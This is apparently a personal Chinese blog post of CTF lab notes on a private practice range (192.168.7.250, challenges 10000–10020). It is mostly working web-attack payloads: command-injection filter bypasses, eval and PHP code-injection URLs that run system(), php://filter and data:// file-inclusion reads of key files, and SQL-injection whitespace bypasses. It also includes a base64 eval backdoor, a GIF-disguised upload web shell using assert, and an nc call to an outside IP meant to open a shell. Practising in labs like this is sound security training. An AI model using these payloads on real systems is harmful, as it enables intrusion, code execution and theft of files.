单项测试192.168.7.250

单项测试192.168.7.250

10002和10006没有

总结提升:
GLOBALS
_SRRVER

10010为什么不行,serialize,
包含文件,和包含php://filter之后的文件内容区别

10012不知道干嘛的,因为没有了解靶场flag的存在形式
key.php flag.php cisp.php

文件包含file1的时候,的区别
file1=key.php	# 这里包含的是文件被执行之后的结果
file1=php://filter/convert.base64-encode/resource=key.php	# 这里包含的是

10014我一直在问为什么没有回显,
一个界面是文件包含的,一个界面是源文件
以后一定要先信息泄露查看(目录遍历,协议读源文件)

10015编码问题,
说是工具问题,或者就是要注意,有时候不对

10017一直抓不到得分的表
不要刻板思维,这里是访问界面然后加1分(不要以为就是改包)

自己做:

下去10008总结,命令的正则匹配

10011纯文件包含,在不知道文件的时候怎么爆破

10009没有getshell

10000

命令执行,为什么换行就可以执行

&|;换行
l\s
'l's
l?
l*

空格:
$IFS
$IFS$9
%0a
%09

10001

http://192.168.7.250:10001/main.php
admin'#
a
这个二次注入,我感觉。一般就这么测试。
有条件写脚本

10003

http://192.168.7.250:10003/?cmd=ls&&_SERVER[REMOTE_ADDR]=shell

_SERVER[REMOTE_ADDR]这个有点奇怪

10004

<!-- $u = $_GET["user"];
$v = $_GET["variable"];
$flag='flag{***}';
if(isset($u)&&(file_get_contents($u,'r')==="i'm admin")){
    echo "hello admin!<br>";
    if(preg_match("/flag/",$v)){
        exit("You can't do it");
    }else{
        eval("var_dump($$v);");
    }
}else{
    echo "you are not admin ! ";
} -->

user存在ssrf,漏洞来源file_get_contents

传入数据的方式*4

https://gitee.com/zoukb/sha/raw/master/t.txt
php://input		post传入数据
data://text/plain,i%27m%20admin
data://text/plain;base64,aSdtIGFkbWlu

要是多一层解析可以尝试

variable=_GET[a]&a=flag

可能的方法

variable=A&A=flag

这里不行是因为后端没有用$_GET接收传值,所以不能盲目传值

变量链:存储所有变量

variable=GLOBALS

10005

eval("echo (\"" . strtolower($a) . "\");");
// 点,典型的字符串拼接
http://192.168.7.250:10005/vulnerabilities/fu1.php?a=1");system("ls

10007

$a = @$_REQUEST['hello'];
eval( "var_dump($a);");

// 被当成字符串,里面的变量传来也是字符串
http://192.168.7.250:10007/vulnerabilities/fu1.php?hello=1);system(ls

10008

127.0.0.1&&'l's
127.0.0.1&&ca\t ../key.ph?
// 我没有复现出命令的正则匹配

10009

http://192.168.7.250:10009/?_SERVER[REMOTE_ADDR]=shell&cmd=nc -n 10.10.10.54 44
一直再转,内网问题??

10010

http://192.168.7.250:10010/

http://192.168.7.250:10010/vulnerabilities/fu1.php?str=s:8:%22key2.php%22;

http://192.168.7.250:10010/vulnerabilities/fu1.php?str=s:52:%22php://filter/convert.base64-encode/resource=key2.php%22;

10011

http://192.168.7.250:10011/vulnerabilities/fu1.php?file=php://filter/convert.base64-encode/resource=../key.php

10012

datadata://://text
我就看到过滤了个data://
完全不知干嘛的
没有ssrf

原来是读key文件

http://192.168.7.250:10012/fun.php?page=phpphp://://filter/read=convert.base64-encode/resource=key.php

10013

为什么这个不行

http://192.168.7.250:10013/?file2=data://text/plain,ZLHZ_M&file1=key.php
http://192.168.7.250:10013/?file2=data://text/plain,ZLHZ_M&file1=php://filter/convert.base64-encode/resource=key.php

10014

<?php
@$a = $_POST['Hello'];
if(isset($a)){ 
@preg_replace("/\[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));


} 
?>

为什么没有回显

Hello=abc&z0=c3lzdGVtKCJ3aG9hbWkiKTs=

Hello=1&z0=

Hello=1&z0=c3lzdGVtKCdjYXQga2V5LnBocCcpOw==

10015

越权漏洞多尝试

ture
True
1

变为这个我是没看懂

R3Vlc3Q%253D

YWRtaW4%3d

10016

日志检查检查出来它在爆破,看到一个200的登录界面,爆破

admin
password123

10018

key[]=1

$_GET[key]认为他为1

但是,这些函数处理时都认为它是数组而返回flase

extract($_POST);
foreach ($_POST as $var) {
if (preg_match("/[a-zA-Z0-9]/", $var)) {
        
if (strcmp($_GET['key4'], file_get_contents("/flag")) == 0)

if (md5($_POST['key3']) === sha1($_POST['key3'])) {

10019

GET /vulnerabilities/fu1.php?id=1')%09and%091=1%09and%09('1 HTTP/1.1

剩下的要写脚本

当然不用,你个憨批忘记完了。手工注入,还有读文件啊。

空格
%09
%0a
%0b
%0c
%0d

%23
%2d%2d%09
--%09

10020

传入111.php3双写绕过php,剩下的传入,动态调用

GIF86A
<?pphphp 
highlight_file(__FILE__);
echo 111;
$a=$_REQUEST[111];
$b=$_REQUEST[222];
echo $a;
echo $b;
$a($b);
?>
传入111=assert
posted @ 2025-07-16 22:43  社恐不敢取名  阅读(42)  评论(0)    收藏  举报